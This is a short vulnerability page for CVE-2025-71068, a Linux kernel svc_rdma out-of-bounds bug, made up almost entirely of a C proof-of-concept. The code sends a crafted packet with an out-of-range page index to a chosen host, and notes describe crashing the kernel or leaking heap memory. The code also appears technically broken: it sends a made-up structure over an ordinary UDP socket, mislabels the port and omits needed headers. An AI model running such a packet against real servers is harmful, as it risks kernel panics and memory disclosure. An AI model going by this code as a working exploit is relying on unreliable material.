CVE-2025-71068: Linux内核svc_rdma模块rq_pages数组越界访问漏洞

// CVE-2025-71068 PoC - Linux kernel svc_rdma rq_pages out-of-bounds access // This PoC demonstrates the vulnerability in svc_rdma_copy_inline_range #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> // RDMA memory region structure struct rdma_mr { void *addr; size_t length; uint32_t rkey; uint32_t lkey; }; // Malicious RPC-over-RDMA request structure struct rpc_rdma_inline_req { uint32_t xid; uint32_t version; uint32_t proc; uint32_t page_cnt; uint32_t cur_page; // Maliciously set to trigger OOB char inline_data[4096]; }; int main(int argc, char *argv[]) { printf("[*] CVE-2025-71068 PoC - svc_rdma rq_pages OOB Access\n"); printf("[*] Target: Linux Kernel < 6.x (unpatched svc_rdma)\n"); int sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } // Construct malicious RPC-over-RDMA packet struct rpc_rdma_inline_req *req = calloc(sizeof(struct rpc_rdma_inline_req), 1); req->xid = 0x12345678; req->version = 1; req->proc = 0; // NULL procedure req->page_cnt = 1; // Request only 1 page req->cur_page = 0xFFFFFFFF; // Out-of-bounds index! // Fill with controlled data memset(req->inline_data, 0x41, sizeof(req->inline_data)); struct sockaddr_in target; memset(&target, 0, sizeof(target)); target.sin_family = AF_INET; target.sin_port = htons(20049); // Portmapper/RDMA port target.sin_addr.s_addr = inet_addr(argv[1] ? argv[1] : "127.0.0.1"); printf("[*] Sending malicious RPC-over-RDMA request...\n"); ssize_t sent = sendto(sock, req, sizeof(*req), 0, (struct sockaddr *)&target, sizeof(target)); if (sent > 0) { printf("[+] Malicious packet sent (%zd bytes)\n", sent); printf("[!] Check dmesg for kernel oops or memory corruption\n"); } close(sock); free(req); return 0; } /* * Exploitation Notes: * - Target the svc_rdma_copy_inline_range() function * - Set rc_curpage to exceed rq_pages array bounds * - Trigger via NFS-over-RDMA or other RPC services * - May leak kernel heap memory or cause kernel panic */